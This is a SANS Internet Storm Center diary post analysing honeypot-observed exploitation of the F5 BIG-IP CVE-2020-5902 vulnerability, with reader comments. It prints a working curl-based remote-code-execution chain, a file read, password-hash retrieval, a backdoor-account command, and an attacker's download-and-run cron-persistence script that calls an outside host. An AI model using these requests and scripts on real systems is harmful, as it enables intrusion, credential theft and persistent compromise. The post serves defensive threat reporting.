Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Summary of CVE-2020-5902 F5 BIG-IP RCE Vulnerability Exploits SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network
https://isc.sans.edu/honeypot.html

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Summary of CVE-2020-5902 F5 BIG-IP RCE Vulnerability Exploits

Our honeypots have been busy collecting exploit attempts for CVE-2020-5902, the F5 Networks BigIP vulnerability patched last week. Most of the exploits can be considered recognizance. We only saw one working exploit installing a backdoor. Badpackets reported seeing a DDoS bot being installed. 

Thanks to Renato for creating a partial map of the IPs hitting our honeypot so far:

The simplest way to achieve limited command execution is the use of BigIP command-line interface commands. But the function is a bit limited. However, to achieve full-featured command execution, it is possible to just create an alias that points to "bash". 

The result is full code execution in three steps (these requests can us POST or GET. I am using GET here to make them easier to display):

1. Create an "alias" to map the "list" command to "bash"

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'

{"error":"","output":""}

2. Write a file to /tmp with the command to be executed

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'

[several empty lines as output]

3. Use the alias to execute the command.

curl 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd'

{"error":"","output":"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"}

4. Optionally: remove the alias.

curl'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'

{"error":"","output":""}

If you do not need code execution, you can also use "Step 2" to write files, or you can just read arbitrary files in one step using:

curl -k 'https://f5.sans.edu/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release'

{"output":"BIG-IP release 15.1.0.1 (Final)\n"}

Instead of defining an alias, the technique in step '1' can also be used to execute BigIP CLI command directly, for example, to retrieve password hashes (note this only work if the alias is not defined):

curl 'https://f5.sans.edu//tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

{"error":"","output":"auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$oeE7u1cp$5cOu9tYnEiXYx\/6UuyOTfgJw5nUgXnetzipHdcX7oRc3xwehAFdQGmhzocud3CGH6MYZgqLGb8u6KiITWBsHi\/\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell none\n}\n"}

Most of the commands I have seen so far are "id", "ls" and retrieving files like "/etc/paswd" and the BigIP license file. More interesting commands:

* Adding a backdoor root account:

tmsh create auth user f5admin password getrektdotcom partition-access add { all-partitions { role admin } } shell bash

* Adding a backdoor cron job:

curl 217.12.199.179/b.sh|sh

which retrieves:

#!/bin/sh
ulimit -n 65535
rm -f /etc/ld.so.preload

LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
  LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
  LDR="wget -q -O -"
fi

crontab -l | grep -e "217.12.199.179" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://217.12.199.179/b.sh | sh > /dev/null 2>&1"
  ) | crontab -
fi

this will check the URL once a minute for updates via cron. So far, I have not seen any other scripts return. Interestingly, after sending an abuse complaint to the ISP hosting the script, my home IP can no longer connect to the site.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Johannes

3910 Posts
ISC Handler
Jul 7th 2020
"Interestingly, after sending an abuse complaint to the ISP hosting the script, my home IP can no longer connect to the site."

Have you contacted RIPE NCC to trigger an investigation on the ISP ?
Anonymous
will consider that if I see them do that more frequently.
Johannes

3910 Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!